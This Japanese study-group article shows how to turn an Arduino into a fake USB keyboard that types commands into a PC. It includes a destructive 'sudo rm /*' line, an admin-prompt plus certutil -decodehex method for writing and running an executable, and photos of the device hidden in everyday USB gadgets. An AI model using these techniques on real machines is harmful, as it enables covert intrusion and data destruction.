USBポートを使ってPCを勝手に操作しちゃおう！

# ハードウェアロジックボムで遊ぼう！
![88x31.png](https://qiita-image-store.s3.amazonaws.com/0/165002/bc236668-cf42-0f59-c82f-83f9b00dadf8.png)

**刊行 Ver0.1 @ 2016.11.05 オープンソースカンファレンス2016 Tokyo/Fall**

**刊行 Ver0.2 @ 2016.11.06 〃 **

**刊行 Ver0.3 @ 2016.12.03 低レベル勉強会


**秘密結社オープンフォース　河野**

## 進化するセキュリティ対策と防げない穴
PCやスマホのセキュリティ対策は年々進歩しています。Windows95の時代には、エクスプローラで表示するだけ、CDを挿入するだけ、ワンクリックするだけ、Webで表示するだけ、メールを受信するだけ・・・でありとあらゆるプログラムが実行できました。当然ながら悪意を持ったプログラムを実行し放題。
流石にソレではまずいということがわかってきたので、管理者権限でないと実行ができなかったり証明書が無いと実行できなかったりするようになってきました。
利便性とセキュリティは相反するようなものですね。USBメモリは刺すだけで色んな物を実行できるようになっていましたが、Autorun.infが禁じられ、ウイルス対策ソフトはUSBメモリがプラグされる度にスキャンし、というようになってきています。
まともな組織ではUSBデバイスは禁止というところも増えてきています。

### 防げない穴
ところが、いくらUSBデバイスを禁じても穴があります。USBキーボードは繋げざるを得ません。そして、キーボードのように振る舞うデバイスは簡単に作成できます。そしてキーボード操作できるということは人間が操作しているように動作することができ、場合によっては管理者として自由に触れるということになります。
キーボードからいろんな動作をするデバイスを作るにはどうしたらいいでしょうか？　ここでは、そういったデバイスを作って脅威の研究をしてみましょう。

### BadUSB
同様のことは、以前より指摘されており有名なものは「BadUSB」として知られています。これは市販品のUSBデバイスのコントローラのプログラムを書き換えて、様々な動作をすることができるようになっているものです。

### ArduinoでUSB機器に偽装したHIDデバイスをつくる
Arduinoのうち、コントローラにATMEGA32U4というマイコンを使っているタイプはプログラムでUSBデバイスを作ることができます。特に、HIDデバイスとしてキーボードを作るのはとても簡単です。


#### Arduinoとは
イタリア発の簡単なマイコン基板です。SBC(Single Board Computer)のうちのひとつです。ラピッドプロトタイピングに向いていて、簡単な電子工作はすぐに作ることができます。

#### Arduinoデバイスとケーブル
##### ARDUINO 
人気のあるArduino Unoと同じ大きさのボードです。Arduino Uno＋USBデバイスプログラムができると考えるといいでしょう。
![IMG_20161105_124410.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/e0bec2c8-dc7c-56ac-4b40-1d61e7c9de71.jpeg)



##### ARDUINO MICRO
Arduino Leonardoと同じように使えて、コンパクトです。USBデバイスとして色んなものに内蔵するには小チラが便利でしょう。
![IMG_20161105_124537.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/8942f084-fcae-c09f-eb13-1cd6cca99aee.jpeg)

##### 付属互換機
中華製のArduino互換機です。pro microと書いてありますが、大きさは Arduino Pro Miniに似ています。
Leonardoとして動かすことができます。
![IMG_20161105_125530.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/ae09c581-ee27-55d4-08a2-2fc2ac81502a.jpeg)

ピンがついています。電子工作するときはピンをはんだづけしますが、今回の実験では特に使いません。
センサーなどをつなげて連動する時に使ったりします。
##### aitendoで買う互換機
付属互換機と同じものは、aitendoで購入できます。
![IMG_20161105_124451.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/830417fb-e459-9ce9-a0f4-5d7d100d5482.jpeg)

##### ケーブル

通常はmicroUSBケーブルを使えばPCなどへ接続、およびプログラムができるようになります。
Androidなどに繋げるには、OTGケーブルが必要となります。
![IMG_20161105_125704.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/8a43e095-4ead-acea-7af8-b922e6107905.jpeg)


#### 付属のArduino互換基板
本書には、本物のArduinoではありませんが、中華製の互換機を付録としてつけています。
本物との違いはD13のLEDが無いことです。「Lチカ」としてD13のLEDを点滅する実験をよくやりますが、その時に注意する必要があります。
![IMG_20161105_125405.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/8e936021-af52-de9d-5d56-cadb527b8965.jpeg)


# 作ってみよう



## 環境構築
Arduino.ccから開発環境をダウンロード＆インストール。
ツールーボードマネジャで「Arduino Leonardo」 を選択
し、シリアルポートを選択

## コードはこれだけ！！

![ハイフンあり.png](https://qiita-image-store.s3.amazonaws.com/0/165002/039a9702-e905-5c96-94d2-40ee94401ac1.png)

```
#include "Keyboard.h"

void setup(){
  Keyboard.begin();
}

void loop(){
   delay(5000);
   Keyboard.press(KEY_LEFT_GUI);
   Keyboard.press('r');
   delay(100);
   Keyboard.releaseAll();
   Keyboard.println("iexplore xshell.io\n");
}
```
最初の#include "Keyboard.h"
はバージョンによってはなくてもいいかも知れません。
Windowsキーを押して「ファイル名を指定して実行」を出し、ブラウザを出しています。
（僕の勤務先のWebサイトが出ます。決してブラウザクラッシャーではありません。）


## 攻撃コード

以下は、Arduinoのプログラムではなくキーボードコンビネーションを示します。
(各キーの定義は末尾の参考資料を参照のこと)
### Windows

LogOUT:
```
Ctrl+Alt+Delete
+
Alt + I
```

Command Prompt:
```
Windows key + R
 + 
CMD + Enter
```![undefined]()
![undefined]()


### Mac OSX

LogOut:
```
COMMAND Key + Shift Key + Q
+
Enter

```
### Ubuntu
LogOut:
```
Ctrl+Alt+Delete 
+
Enter
```

### Android

Depend on each device. 
Logout: (few device )
```
Ctrl+Alt+Delete
```


### iOS
機材持ってないのでスミマセン


### やるなよ！　絶対やるなよ！  Do Not

```
 sudo rm /*
```
 
### キーボードだけで実行コードを作り出す(Windows)
「HIDプラント」と名づけています。HIDデバイスだけで、実行プログラムを作り出す方法です。

Windowsのバージョンによって動作は異なります。特に、Windows10とそれより前のバージョンではかなり異なるようです。

#### 管理者としてコマンドプロンプト起動
```
Windows key
Cmd + shift + F10
↓ + Enter + ← Enter 
```

#### １６進コード作成
```
Copy con code.hex
Abcdef012345689 (16進コードを記述します)
Ctrl+Z

```
#### バイナリ生成＋実行
```
certutil -f -decodehex code.hex code.exe 12
```
あらかじめ、16新コードは別マシンで作成し、hexファイルに変換します。 copy con code.hex でそのhexファイルの内容を書き出すようにプログラムを作ります。
Arduinoの内部に格納できるコードは限られているので、ある程度小さなコードにする必要があります。

# 脅威

トリガで発動するとキーボード入力を模擬して動作。
こういったものを排除するためには事前に動作をよく確認することが必要ですが、トリガ発動条件を工夫して、動作検証時にはバレないようにすることは簡単です。フォレンジックで検出できないデバイスが簡単にできてしまうことがよくわかるでしょう。

# 工作

デモとして、色んな物に仕込んでみました。
これは、USBメモリに偽装した例です。何の変哲もないUSBメモリに偽装しています。

![IMG_20161105_124627.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/384d9121-3fb5-96c0-89b8-6ab81c6029f8.jpeg)

中身はこのようになっています。
![IMG_20161105_124739.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/465c1ca9-a3f8-8894-3d94-38911d60f9f6.jpeg)


USBライトの例です。
![IMG_20161105_124827.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/c1821fd0-4b8e-3049-35e2-5b3ec23ec623.jpeg)

中身。
![IMG_20161105_124835.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/c8711a82-fd34-0c3a-57c7-34a0311e998c.jpeg)


USB充電スタンドの例です。
![IMG_20161105_124749.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/81523c6e-e8ac-b121-5c18-c568177c6cbd.jpeg)

中身。
![IMG_20161105_124757.jpg](https://qiita-image-store.s3.amazonaws.com/0/165002/38bf229e-2ab5-5edb-1363-f8fc63f6de6c.jpeg)



# 参考資料

## keyboard.hで定義されている特殊キー

``````
#define KEY_LEFT_CTRL   0x80
#define KEY_LEFT_SHIFT    0x81
#define KEY_LEFT_ALT    0x82
#define KEY_LEFT_GUI    0x83
#define KEY_RIGHT_CTRL    0x84
#define KEY_RIGHT_SHIFT   0x85
#define KEY_RIGHT_ALT   0x86
#define KEY_RIGHT_GUI   0x87

#define KEY_UP_ARROW    0xDA
#define KEY_DOWN_ARROW    0xD9
#define KEY_LEFT_ARROW    0xD8
#define KEY_RIGHT_ARROW   0xD7
#define KEY_BACKSPACE   0xB2
#define KEY_TAB       0xB3
#define KEY_RETURN      0xB0
#define KEY_ESC       0xB1
#define KEY_INSERT      0xD1
#define KEY_DELETE      0xD4
#define KEY_PAGE_UP     0xD3
#define KEY_PAGE_DOWN   0xD6
#define KEY_HOME      0xD2
#define KEY_END       0xD5
#define KEY_CAPS_LOCK   0xC1
#define KEY_F1        0xC2
#define KEY_F2        0xC3
#define KEY_F3        0xC4
#define KEY_F4        0xC5
#define KEY_F5        0xC6
#define KEY_F6        0xC7
#define KEY_F7        0xC8
#define KEY_F8        0xC9
#define KEY_F9        0xCA
#define KEY_F10       0xCB
#define KEY_F11       0xCC
#define KEY_F12       0xCD
```

## 参考文献
BAD USB とは何か（そして何が BAD USB ではないか） http://plugable.com/japanese/badusb/

Arduino プロジェクト公式サイト https://www.arduino.cc/

Arduino 日本語リファレンス http://www.musashinodenpa.com/arduino/ref/

arduino-libraries/Keyboard https://github.com/arduino-libraries/Keyboard/blob/master/src/Keyboard.h


## 勉強会

このような内容の勉強会を、以下の場所で行っています。

・低レベル勉強会（東京都内で1,2ヶ月ごとに行っている勉強会。土曜日午後開催、セキュリティや電子工作、宇宙論の発表やハンズオン。）
[scale=0.35]![](./images/teilevel.png)
・オープンハードセキュリティ（東京都内で隔月で行っている勉強会。水曜日寄る開催。）
・オープンハードカンファレンス（全国で開催。セキュリティを含むオープンソースハードウェアを扱うカンファレンス。）
![undefined]()